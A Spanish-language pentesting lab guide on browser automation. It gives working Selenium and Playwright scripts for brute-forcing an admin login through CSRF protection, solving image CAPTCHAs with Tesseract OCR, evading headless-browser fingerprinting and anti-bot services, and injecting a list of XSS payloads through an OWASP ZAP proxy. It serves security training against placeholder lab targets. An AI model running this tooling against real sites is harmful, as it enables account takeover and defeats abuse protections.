Automatización de navegador para pentesting

Definición

La automatización de navegador para pentesting consiste en usar herramientas como Selenium o Playwright para controlar un navegador real de forma programática, interactuando con aplicaciones web exactamente como lo haría un usuario humano. El navegador ejecuta el JavaScript de la aplicación, gestiona cookies, tokens CSRF y el DOM dinámico, eliminando la necesidad de reingeniería inversa de la criptografía client-side.

Ventajas clave sobre proxies con plugins:

• El navegador procesa todo el JS de la app (cifrado, CSRF tokens, DOM manipulations) automáticamente.
• Permite bypassear muchos controles anti-bot porque simula interacciones reales.
• Facilita flujos multi-step que requieren navegar por varias pantallas.

Relacionado: Custom Tooling via Burp, OWASP ZAP, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)

Contexto

Cuándo usar automatización de navegador vs proxy+plugin

Comparativa de herramientas de automatización

Lab 1 — Brute Force con Selenium (CSRF transparente)

Escenario: App en http://TARGET/labs/lab1/ con CSRF token en cada request de login. El objetivo es brute force de la contraseña del usuario admin.

Ventaja Selenium: el navegador gestiona el CSRF token automáticamente en cada submit, sin necesidad de extraerlo y reenviarlo manualmente.

Configuración del navegador

1
from selenium import webdriver
2
from selenium.webdriver.chrome.options import Options
3
from selenium_stealth import stealth
4
from fake_useragent import UserAgent
5

6
options = Options()
7
ua = UserAgent()
8
options.add_argument('--no-sandbox')
9
options.add_argument('--headless')          # sin GUI
10
options.add_argument("start-maximized")
11
options.add_argument(f'user-agent={ua.random}')
12
options.add_argument('--disable-dev-shm-usage')
13
options.add_argument('--disable-cache')
14
options.add_argument('--disable-gpu')
15

16
chrome = webdriver.Chrome(options=options)

Evasión de fingerprinting (selenium-stealth)

1
stealth(chrome,
2
    languages=["en-US", "en"],
3
    vendor="Google Inc.",
4
    platform="Win32",
5
    webgl_vendor="Intel Inc.",
6
    renderer="Intel Iris OpenGL Engine",
7
    fix_hairline=True,
8
)

selenium-stealth elimina señales que delatan el modo headless (navigator.webdriver, GPU fingerprint, etc.).

Lógica de brute force

1
passwords = ["123456", "admin", "letmein", "pass123", "password"]
2
login_url = "http://TARGET/labs/lab1/index.php"
3
dashboard_url = "http://TARGET/labs/lab1/dashboard.php"
4

5
for password in passwords:
6
    chrome.get(login_url)              # carga la página (genera nuevo CSRF token)
7
    time.sleep(0.5)
8

9
    chrome.find_element(By.NAME, "username").send_keys("admin")
10
    chrome.find_element(By.NAME, "password").send_keys(password)
11
    chrome.find_element(By.TAG_NAME, "form").submit()  # envía con CSRF token automático
12

13
    if dashboard_url in chrome.current_url:
14
        print(f"[+] Password: {password}")
15
        flag = chrome.find_element(By.TAG_NAME, "p").text.strip()
16
        print(f"[+] {flag}")
17
        break
18
    else:
19
        print(f"[-] Failed: {password}")

Lab 2 — CAPTCHA Bypass (Tesseract OCR + Pillow)

Escenario: App en http://TARGET/labs/lab2 con CAPTCHA alfanumérico de 5 caracteres (mayúsculas + dígitos) y CSRF. El CAPTCHA es una imagen PNG generada server-side.

Pipeline: screenshot del elemento <img> → preprocesado con Pillow → OCR con Tesseract → submit.

Librerías adicionales

1
from PIL import Image, ImageEnhance, ImageFilter
2
import pytesseract
3
import io

Paso 1: Capturar el CAPTCHA como PNG

1
captcha_img_element = chrome.find_element(By.TAG_NAME, "img")
2
captcha_png = captcha_img_element.screenshot_as_png  # captura directamente del DOM

Paso 2: Preprocesado de imagen para maximizar OCR

1
image = Image.open(io.BytesIO(captcha_png)).convert("L")          # 1. grayscale
2
image = image.resize((image.width * 2, image.height * 2),
3
                     Image.LANCZOS)                                 # 2. upscale x2
4
image = image.filter(ImageFilter.SHARPEN)                          # 3. sharpening
5
image = ImageEnhance.Contrast(image).enhance(2.0)                  # 4. contraste x2
6
image = image.point(lambda x: 0 if x < 140 else 255, '1')         # 5. binarización

Paso 3: OCR con Tesseract

1
captcha_text = pytesseract.image_to_string(
2
    image,
3
    config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'
4
).strip().replace(" ", "").replace("\n", "").upper()

• --psm 7: modo “una sola línea de texto”.
• tessedit_char_whitelist: restringe el alfabeto al del CAPTCHA (excluye 0, 1, O, I confusos).

Paso 4: Submit con el CAPTCHA resuelto

1
chrome.find_element(By.NAME, "username").send_keys(username)
2
chrome.find_element(By.NAME, "password").send_keys(password)
3
chrome.find_element(By.NAME, "captcha_input").send_keys(captcha_text)
4
chrome.find_element(By.TAG_NAME, "form").submit()

Lab 3 — Vulnerability Scanning con Playwright + OWASP ZAP API

Escenario: App de greeting personalizado en http://TARGET:5000/. Objetivo: inyectar payloads XSS a través de Playwright (proxy → ZAP) y generar un informe PDF de vulnerabilidades.

Arquitectura:

1
Playwright (Firefox headless) → proxy HTTP:8080 → ZAP → TARGET app

ZAP actúa como proxy pasivo/activo: intercepta el tráfico inyectado por Playwright y analiza vulnerabilidades.

Configuración previa en ZAP

1. Tools → Options → Network → Local Proxy: address=localhost, port=8080.
2. Tools → Options → API: copiar API key (e.g., kcsbj07b6u7hhii6h3b772ia90).

Script completo (play.py)

1
from playwright.sync_api import sync_playwright, Playwright
2
from zapv2 import ZAPv2, reports
3
import time, os, sys
4

5
ZAP_KEY = "kcsbj07b6u7hhii6h3b772ia90"    # ajustar al entorno
6
PROXY = "http://localhost:8080"
7
TARGET_URL = "http://TARGET_IP:5000/"
8

9
xss_tests = [
10
    "<script>alert('XSS')</script>",
11
    "<img src=x onerror=alert('XSS')>",
12
    "<svg/onload=alert('XSS')>",
13
    "\"><script>alert('XSS')</script>",
14
]
15

16
def execute_automation(playwright: Playwright):
17
    zap = ZAPv2(apikey=ZAP_KEY, proxies={'http': PROXY})
18
    zap.core.new_session(name="xss_scan", overwrite=True)
19

20
    browser = playwright.firefox.launch(headless=True)
21
    context = browser.new_context(
22
        ignore_https_errors=True,
23
        proxy={"server": PROXY}          # todo el tráfico pasa por ZAP
24
    )
25
    page = context.new_page()
26

27
    for payload in xss_tests:
28
        print(f"Injecting: {payload}")
29
        page.once("dialog", lambda dialog: dialog.dismiss())   # cerrar alerts JS
30
        page.goto(f"{TARGET_URL}?name={payload}")              # inyección vía GET param
31
        time.sleep(1)
32

33
    # esperar a que ZAP termine el escaneo pasivo
34
    while int(zap.pscan.records_to_scan) > 0:
35
        time.sleep(1)
36

37
    # generar informe PDF en el escritorio
38
    zap_reporter = reports(zap)
39
    zap_reporter.generate(
40
        title="XSS Passive Scan Report",
41
        template="traditional-pdf",
42
        description="Automated XSS scan via Playwright",
43
        reportfilename="zap_passive_silent_report.pdf",
44
        reportdir=os.path.expanduser("~/Desktop"),
45
    )
46
    browser.close()
47

48
with sync_playwright() as pw:
49
    execute_automation(pw)

Notas de uso:

• page.once("dialog", ...): cierra alerts JS para que la automatización no se bloquee.
• zap.pscan.records_to_scan: ZAP procesa el tráfico en background; el script espera a que termine.
• El informe PDF incluye todos los findings (incluyendo headers faltantes, XSS reflejado, etc.).

Diagrama de flujo — CAPTCHA bypass pipeline

flowchart TD
    A[Selenium: chrome.get login_url] --> B[find_element img.screenshot_as_png]
    B --> C[Pillow: grayscale → upscale x2 → sharpen → contrast → binarize]
    C --> D[pytesseract --psm 7 whitelist=A-Z2-9]
    D --> E{OCR exitoso?}
    E -->|Sí| F[send_keys username + password + captcha_text]
    F --> G[form.submit]
    G --> H{dashboard_url in current_url?}
    H -->|Sí| I[Success: print flag]
    H -->|No| J[next password iteration]
    E -->|No / texto vacío| K[reintentar con nueva página]

Pitfalls

• Tasa de acierto del OCR: Tesseract no es perfecto; CAPTCHAs con distorsión o ruido muy agresivo reducen el accuracy. Aumentar preprocesado (e.g., erosión/dilatación morfológica) puede mejorar resultados.
• Detección por timing: Selenium sin selenium-stealth ni user-agent random es fácilmente detectado por herramientas anti-bot (Cloudflare, Distil, Akamai). Añadir delays aleatorios entre acciones.
• Stale element references: Si el DOM se regenera entre find_element y send_keys, se lanza StaleElementReferenceException. Usar waits explícitos (WebDriverWait) en lugar de time.sleep() fijo.
• ZAP API key: Si no se especifica la API key correcta, ZAP devuelve errores 403 o ignora los comandos. Verificar con curl http://localhost:8080/JSON/core/view/version/?apikey=TU_KEY.
• CAPTCHA alternativo: Si el CAPTCHA es un reCAPTCHA v2/v3, Tesseract no sirve. Opciones: servicios de resolución de CAPTCHA (2captcha, anticaptcha) o inyección de cookie de sesión ya autenticada.
• --no-sandbox en producción: Solo para entornos Docker/root. Nunca en browsers de producción.

Referencias

• Playwright Docs
• Selenium Docs
• Tesseract OCR
• OWASP ZAP API
• OWASP ZAP
• Custom Tooling via Burp — alternativa para cifrado custom con plugin proxy
• Cross-Site Scripting (XSS)